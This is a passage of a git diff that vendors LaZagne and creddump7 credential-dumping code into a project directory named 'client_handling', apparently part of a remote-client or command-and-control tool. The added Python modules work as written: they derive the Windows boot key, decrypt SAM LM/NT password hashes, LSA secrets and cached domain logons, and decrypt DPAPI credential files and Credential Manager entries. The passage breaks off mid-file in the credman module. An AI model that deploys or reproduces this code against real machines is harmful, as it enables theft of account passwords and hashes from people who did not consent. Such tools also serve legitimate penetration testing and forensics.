+ if current_member not in member_dict:
+ raise Exception('Invalid member %s in type %s' % (current_member, current_type))
+
+ offset += member_dict[current_member][0]
+
+ current_type = member_dict[current_member][1][0]
+
+ return offset, current_type
+
+
+def read_obj(addr_space, types, member_list, vaddr):
+ """
+ Read the low-level value for some complex type's member.
+ The type must have members.
+ """
+ if len(member_list) < 2:
+ raise Exception('Invalid type/member ' + str(member_list))
+
+ (offset, current_type) = get_obj_offset(types, member_list)
+ return read_value(addr_space, current_type, vaddr + offset)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
new file mode 100644
index 0000000..8ad79a6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/types.py
@@ -0,0 +1,63 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+regtypes = {
+ '_CM_KEY_VALUE': [0x18, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'NameLength': [0x2, ['unsigned short']],
+ 'DataLength': [0x4, ['unsigned long']],
+ 'Data': [0x8, ['unsigned long']],
+ 'Type': [0xc, ['unsigned long']],
+ 'Flags': [0x10, ['unsigned short']],
+ 'Spare': [0x12, ['unsigned short']],
+ 'Name': [0x14, ['array', 1, ['unsigned short']]],
+ }],
+ '_CM_KEY_NODE': [0x50, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'Flags': [0x2, ['unsigned short']],
+ 'LastWriteTime': [0x4, ['_LARGE_INTEGER']],
+ 'Spare': [0xc, ['unsigned long']],
+ 'Parent': [0x10, ['unsigned long']],
+ 'SubKeyCounts': [0x14, ['array', 2, ['unsigned long']]],
+ 'SubKeyLists': [0x1c, ['array', 2, ['unsigned long']]],
+ 'ValueList': [0x24, ['_CHILD_LIST']],
+ 'ChildHiveReference': [0x1c, ['_CM_KEY_REFERENCE']],
+ 'Security': [0x2c, ['unsigned long']],
+ 'Class': [0x30, ['unsigned long']],
+ 'MaxNameLen': [0x34, ['unsigned long']],
+ 'MaxClassLen': [0x38, ['unsigned long']],
+ 'MaxValueNameLen': [0x3c, ['unsigned long']],
+ 'MaxValueDataLen': [0x40, ['unsigned long']],
+ 'WorkVar': [0x44, ['unsigned long']],
+ 'NameLength': [0x48, ['unsigned short']],
+ 'ClassLength': [0x4a, ['unsigned short']],
+ 'Name': [0x4c, ['array', 1, ['unsigned short']]],
+ }],
+ '_CM_KEY_INDEX': [0x8, {
+ 'Signature': [0x0, ['unsigned short']],
+ 'Count': [0x2, ['unsigned short']],
+ 'List': [0x4, ['array', 1, ['unsigned long']]],
+ }],
+ '_CHILD_LIST': [0x8, {
+ 'Count': [0x0, ['unsigned long']],
+ 'List': [0x4, ['unsigned long']],
+ }],
+}
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
new file mode 100644
index 0000000..983c81a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/domcachedump.py
@@ -0,0 +1,146 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hmac
+import hashlib
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey
+from .lsasecrets import get_secret_by_name, get_lsa_key
+from struct import unpack
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+
+AES_BLOCK_SIZE = 16
+
+
+def get_nlkm(secaddr, lsakey, vista):
+ return get_secret_by_name(secaddr, 'NL$KM', lsakey, vista)
+
+
+def decrypt_hash(edata, nlkm, ch):
+ hmac_md5 = hmac.new(nlkm, ch, hashlib.md5)
+ rc4key = hmac_md5.digest()
+
+ rc4 = RC4(rc4key)
+ data = rc4.encrypt(edata)
+ return data
+
+
+def decrypt_hash_vista(edata, nlkm, ch):
+ """
+ Based on code from http://lab.mediaservice.net/code/cachedump.rb
+ """
+ aes = AESModeOfOperationCBC(nlkm[16:32], iv=ch)
+
+ out = ""
+ for i in range(0, len(edata), 16):
+ buf = edata[i:i+16]
+ if len(buf) < 16:
+ buf += (16 - len(buf)) * "\00"
+ out += b"".join([aes.decrypt(buf[i:i + AES_BLOCK_SIZE]) for i in range(0, len(buf), AES_BLOCK_SIZE)])
+ return out
+
+
+def parse_cache_entry(cache_data):
+ (uname_len, domain_len) = unpack("<HH", cache_data[:4])
+ (domain_name_len,) = unpack("<H", cache_data[60:62])
+ ch = cache_data[64:80]
+ enc_data = cache_data[96:]
+ return uname_len, domain_len, domain_name_len, enc_data, ch
+
+
+def parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len):
+ uname_off = 72
+ pad = 2 * ((uname_len / 2) % 2)
+ domain_off = uname_off + uname_len + pad
+ pad = 2 * ((domain_len / 2) % 2)
+ domain_name_off = domain_off + domain_len + pad
+
+ data_hash = dec_data[:0x10]
+
+ username = dec_data[uname_off:uname_off+uname_len]
+ username = username.decode('utf-16-le', errors='ignore')
+
+ domain = dec_data[domain_off:domain_off+domain_len]
+ domain = domain.decode('utf-16-le', errors='ignore')
+
+ domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+ domain_name = domain_name.decode('utf-16-le', errors='ignore')
+
+ return username, domain, domain_name, data_hash
+
+
+def dump_hashes(sysaddr, secaddr, vista):
+ bootkey = get_bootkey(sysaddr)
+ if not bootkey:
+ return []
+
+ lsakey = get_lsa_key(secaddr, bootkey, vista)
+ if not lsakey:
+ return []
+
+ nlkm = get_nlkm(secaddr, lsakey, vista)
+ if not nlkm:
+ return []
+
+ root = get_root(secaddr)
+ if not root:
+ return []
+
+ cache = open_key(root, ["Cache"])
+ if not cache:
+ return []
+
+ hashes = []
+ for v in values(cache):
+ if v.Name == "NL$Control":
+ continue
+
+ data = v.space.read(v.Data.value, v.DataLength.value)
+
+ (uname_len, domain_len, domain_name_len, enc_data, ch) = parse_cache_entry(data)
+
+ # Skip if nothing in this cache entry
+ if uname_len == 0:
+ continue
+
+ if vista:
+ dec_data = decrypt_hash_vista(enc_data, nlkm, ch)
+ else:
+ dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+ (username, domain, domain_name, hash) = parse_decrypted_cache(dec_data, uname_len, domain_len, domain_name_len)
+ hashes.append((username, domain, domain_name, hash))
+
+ return hashes
+
+
+def dump_file_hashes(syshive_fname, sechive_fname, vista):
+ sysaddr = HiveFileAddressSpace(syshive_fname)
+ secaddr = HiveFileAddressSpace(sechive_fname)
+
+ results = []
+ for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr, vista):
+ results.append("%s:%s:%s:%s" % (u.lower(), hash.encode('hex'), d.lower(), dn.lower()))
+ return results
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
new file mode 100644
index 0000000..02a8e58
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
@@ -0,0 +1,298 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import codecs
+from struct import pack
+
+from ..addrspace import HiveFileAddressSpace
+from .rawreg import *
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes
+
+
+odd_parity = [
+ 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+ 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+ 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+ 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+ 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+ 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+ 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
+ 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
+ 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
+ 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
+ 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
+ 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
+ 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
+ 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
+ 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
+ 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
+]
+
+# Permutation matrix for boot key
+p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+ 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
+
+# Constants for SAM decrypt algorithm
+aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = b"0123456789012345678901234567890123456789\0"
+antpassword = b"NTPASSWORD\0"
+almpassword = b"LMPASSWORD\0"
+
+empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')
+empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')
+
+AES_BLOCK_SIZE = 16
+
+
+def str_to_key(s):
+ key = []
+ key.append(char_to_int(s[0]) >> 1)
+ key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2))
+ key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3))
+ key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4))
+ key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5))
+ key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6))
+ key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7))
+ key.append(char_to_int(s[6]) & 0x7F)
+
+ for i in range(8):
+ key[i] = (key[i] << 1)
+ key[i] = odd_parity[key[i]]
+
+ return b"".join(chr_or_byte(k) for k in key)
+
+
+def sid_to_key(sid):
+ s1 = b""
+ s1 += chr_or_byte(sid & 0xFF)
+ s1 += chr_or_byte((sid >> 8) & 0xFF)
+ s1 += chr_or_byte((sid >> 16) & 0xFF)
+ s1 += chr_or_byte((sid >> 24) & 0xFF)
+ s1 += int_or_bytes(s1[0])
+ s1 += int_or_bytes(s1[1])
+ s1 += int_or_bytes(s1[2])
+ s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2])
+ s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2])
+ return str_to_key(s1), str_to_key(s2)
+
+
+def find_control_set(sysaddr):
+ root = get_root(sysaddr)
+ if not root:
+ return 1
+
+ csselect = open_key(root, [b"Select"])
+ if not csselect:
+ return 1
+
+ for v in values(csselect):
+ if v.Name == b"Current":
+ return v.Data.value
+
+
+def get_bootkey(sysaddr):
+ cs = find_control_set(sysaddr)
+ lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"]
+ lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"]
+
+ root = get_root(sysaddr)
+ if not root:
+ return None
+
+ lsa = open_key(root, lsa_base)
+ if not lsa:
+ return None
+
+ bootkey = b""
+
+ for lk in lsa_keys:
+ key = open_key(lsa, [lk])
+ class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
+ bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex')
+
+ bootkey_scrambled = b""
+ for i in range(len(bootkey)):
+ try:
+ bootkey_scrambled += bootkey[p[i]]
+ except TypeError:
+ bootkey_scrambled += bytes([bootkey[p[i]]])
+ return bootkey_scrambled
+
+
+def get_hbootkey(samaddr, bootkey):
+ sam_account_path = [b"SAM", b"Domains", b"Account"]
+
+ root = get_root(samaddr)
+ if not root:
+ return None
+
+ sam_account_key = open_key(root, sam_account_path)
+ if not sam_account_key:
+ return None
+
+ F = None
+ for v in values(sam_account_key):
+ if v.Name == b'F':
+ F = samaddr.read(v.Data.value, v.DataLength.value)
+ if not F:
+ return None
+
+ revision = ord(F[0x00])
+ if revision == 2:
+ md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum)
+ rc4_key = md5.digest()
+ rc4 = RC4(rc4_key)
+ hbootkey = rc4.encrypt(F[0x80:0xA0])
+
+ return hbootkey
+
+ elif revision == 3:
+ iv = F[0x78:0x88]
+ encryptedHBootKey = F[0x88:0xA8]
+ cipher = AESModeOfOperationCBC(bootkey, iv=iv)
+ hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)])
+
+ return hbootkey[:16]
+
+
+def get_user_keys(samaddr):
+ user_key_path = [b"SAM", b"Domains", b"Account", b"Users"]
+ root = get_root(samaddr)
+ if not root:
+ return []
+
+ user_key = open_key(root, user_key_path)
+ if not user_key:
+ return []
+
+ return [k for k in subkeys(user_key) if k.Name != b"Names"]
+
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+ if enc_hash == "":
+ return ""
+ (des_k1, des_k2) = sid_to_key(rid)
+ d1 = des(des_k1, ECB)
+ d2 = des(des_k2, ECB)
+ md5 = hashlib.md5()
+ md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
+ rc4_key = md5.digest()
+ rc4 = RC4(rc4_key)
+ obfkey = rc4.encrypt(enc_hash)
+ hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+ return hash_
+
+
+def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
+ if enc_hash == "":
+ return ""
+ (des_k1, des_k2) = sid_to_key(rid)
+ d1 = des(des_k1, ECB)
+ d2 = des(des_k2, ECB)
+ cipher = AESModeOfOperationCBC(hbootkey, salt)
+ obfkey = b"".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)])
+
+ hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
+ return hash_
+
+
+def get_user_hashes(user_key, hbootkey):
+ samaddr = user_key.space
+ rid = int(user_key.Name, 16)
+ V = None
+ for v in values(user_key):
+ if v.Name == 'V':
+ V = samaddr.read(v.Data.value, v.DataLength.value)
+ if not V: return None
+ hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC
+
+ lm_offset_bytes = V[0x9c:0x9c+4]
+ nt_offset_bytes = V[0x9c+12:0x9c+16]
+ lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
+ nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
+
+ lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16)
+ if lm_revision == 1:
+ lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+ enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+ lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+
+ elif lm_revision == 2:
+ lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False
+ lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+ enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else ""
+ lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)
+
+ nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16)
+ if nt_revision == 1:
+ nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+ enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else ""
+ nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+
+ elif nt_revision == 2:
+ nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False
+ nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else ""
+ enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else ""
+ nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)
+
+ return lmhash, nthash
+
+
+def get_user_name(user_key):
+ samaddr = user_key.space
+ V = None
+ for v in values(user_key):
+ if v.Name == b'V':
+ V = samaddr.read(v.Data.value, v.DataLength.value)
+ if not V:
+ return None
+
+ name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+ name_length = unpack("<L", V[0x10:0x14])[0]
+
+ username = V[name_offset:name_offset + name_length].decode('utf-16-le')
+ return username
+
+
+def dump_hashes(sysaddr, samaddr):
+ bootkey = get_bootkey(sysaddr)
+ hbootkey = get_hbootkey(samaddr, bootkey)
+ results = []
+ for user in get_user_keys(samaddr):
+ lmhash, nthash = get_user_hashes(user, hbootkey)
+ if not lmhash:
+ lmhash = empty_lm
+ if not nthash:
+ nthash = empty_nt
+ results.append(
+ "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(),
+ codecs.encode(nthash, 'hex').decode()))
+ return results
+
+
+def dump_file_hashes(syshive_fname, samhive_fname):
+ sysaddr = HiveFileAddressSpace(syshive_fname)
+ samaddr = HiveFileAddressSpace(samhive_fname)
+ return dump_hashes(sysaddr, samaddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
new file mode 100644
index 0000000..232a0f4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
@@ -0,0 +1,183 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import os
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey, str_to_key
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+
+
+def get_lsa_key(secaddr, bootkey, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ if vista:
+ enc_reg_key = open_key(root, [b"Policy", b"PolEKList"])
+ else:
+ enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"])
+
+ if not enc_reg_key:
+ return None
+
+ enc_reg_value = enc_reg_key.ValueList.List[0]
+ if not enc_reg_value:
+ return None
+
+ obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value)
+ if not obf_lsa_key:
+ return None
+
+ if not vista:
+ md5 = hashlib.md5()
+ md5.update(bootkey)
+ for i in range(1000):
+ md5.update(obf_lsa_key[60:76])
+ rc4key = md5.digest()
+ rc4 = RC4(rc4key)
+ lsa_key = rc4.encrypt(obf_lsa_key[12:60])
+ lsa_key = lsa_key[0x10:0x20]
+ else:
+ lsa_key = decrypt_aes(obf_lsa_key, bootkey)
+ lsa_key = lsa_key[68:100]
+
+ return lsa_key
+
+
+def decrypt_secret(secret, key):
+ """Python implementation of SystemFunction005.
+
+ Decrypts a block of data with DES using given key.
+ Note that key can be longer than 7 bytes."""
+ decrypted_data = b''
+ j = 0 # key index
+ for i in range(0, len(secret), 8):
+ enc_block = secret[i:i + 8]
+ block_key = key[j:j + 7]
+ des_key = str_to_key(block_key)
+ crypter = des(des_key, ECB)
+
+ try:
+ decrypted_data += crypter.decrypt(enc_block)
+ except Exception:
+ continue
+
+ j += 7
+ if len(key[j:j + 7]) < 7:
+ j = len(key[j:j + 7])
+
+ (dec_data_len,) = unpack("<L", decrypted_data[:4])
+ return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_aes(secret, key):
+ sha = hashlib.sha256()
+ sha.update(key)
+ for _i in range(1, 1000 + 1):
+ sha.update(secret[28:60])
+ aeskey = sha.digest()
+
+ data = b""
+ for i in range(60, len(secret), 16):
+ aes = AESModeOfOperationCBC(aeskey, iv="\x00" * 16)
+ buf = secret[i: i + 16]
+ if len(buf) < 16:
+ buf += (16 - len(buf)) * "\00"
+
+ data += aes.decrypt(buf)
+
+ return data
+
+
+def get_secret_by_name(secaddr, name, lsakey, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ enc_secret_key = open_key(root, [b"Policy", b"Secrets", name, b"CurrVal"])
+ if not enc_secret_key:
+ return None
+
+ enc_secret_value = enc_secret_key.ValueList.List[0]
+ if not enc_secret_value:
+ return None
+
+ enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+ if not enc_secret:
+ return None
+
+ if vista:
+ secret = decrypt_aes(enc_secret, lsakey)
+ else:
+ secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+ return secret
+
+
+def get_secrets(sysaddr, secaddr, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ bootkey = get_bootkey(sysaddr)
+ lsakey = get_lsa_key(secaddr, bootkey, vista)
+
+ secrets_key = open_key(root, [b"Policy", b"Secrets"])
+ if not secrets_key:
+ return None
+
+ secrets = {}
+ for key in subkeys(secrets_key):
+ sec_val_key = open_key(key, [b"CurrVal"])
+ if not sec_val_key:
+ continue
+
+ enc_secret_value = sec_val_key.ValueList.List[0]
+ if not enc_secret_value:
+ continue
+
+ enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+ if not enc_secret:
+ continue
+
+ if vista:
+ secret = decrypt_aes(enc_secret, lsakey)
+ else:
+ secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+ secrets[key.Name] = secret
+
+ return secrets
+
+
+def get_file_secrets(sysfile, secfile, vista):
+ if not os.path.isfile(sysfile) or not os.path.isfile(secfile):
+ return
+
+ sysaddr = HiveFileAddressSpace(sysfile)
+ secaddr = HiveFileAddressSpace(secfile)
+
+ return get_secrets(sysaddr, secaddr, vista)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
new file mode 100644
index 0000000..9d80355
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
@@ -0,0 +1,81 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+from ..newobj import Obj, Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H", b"lh")[0]
+LF_SIG = unpack("<H", b"lf")[0]
+RI_SIG = unpack("<H", b"ri")[0]
+
+
+def get_root(address_space):
+ return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+
+def open_key(root, key):
+ if not key:
+ return root
+
+ keyname = key.pop(0)
+ for s in subkeys(root):
+ if s.Name.upper() == keyname.upper():
+ return open_key(s, key)
+ # print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+ return None
+
+
+def subkeys(key, stable=True):
+ if stable:
+ k = 0
+ else:
+ k = 1
+
+ sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+ sub_list = []
+ if (sk.Signature.value == LH_SIG or
+ sk.Signature.value == LF_SIG):
+ sub_list = sk.List
+ elif sk.Signature.value == RI_SIG:
+ lfs = []
+ for i in range(sk.Count.value):
+ off, tp = sk.get_offset(['List', i])
+ lfs.append(Pointer("pointer", sk.address+off, sk.space,
+ ["_CM_KEY_INDEX"]))
+ for lf in lfs:
+ sub_list += lf.List
+
+ for s in sub_list:
+ if s.is_valid() and s.Signature.value == 27502:
+ yield s.value
+
+
+def values(key):
+ for v in key.ValueList.List:
+ yield v.value
+
+
+def walk(root):
+ for k in subkeys(root):
+ yield k
+ for j in walk(k):
+ yield j
diff --git a/foreign/client_handling/lazagne/softwares/windows/credfiles.py b/foreign/client_handling/lazagne/softwares/windows/credfiles.py
new file mode 100644
index 0000000..7d5a76a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/credfiles.py
@@ -0,0 +1,22 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+import os
+
+
+class CredFiles(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True)
+
+ def run(self):
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials')
+ if os.path.exists(creds_directory):
+ for cred_file in os.listdir(creds_directory):
+ # decrypting creds files (Credman module not allow to retrieve domain password)
+ cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file))
+ if cred:
+ pwd_found.append(cred)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/credman.py b/foreign/client_handling/lazagne/softwares/windows/credman.py
new file mode 100644
index 0000000..309a125
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/credman.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+
+
+class Credman(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True)
+
+ def run(self):
+ pwd_found = []
+ # FOR XP
+ # - password are encrypted with specific salt depending on its Type
+ # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\0' # FOR CRED_TYPE_GENERIC
+ # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD
+ # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut))
+
+ creds = POINTER(PCREDENTIAL)()
+ count = c_ulong()
+
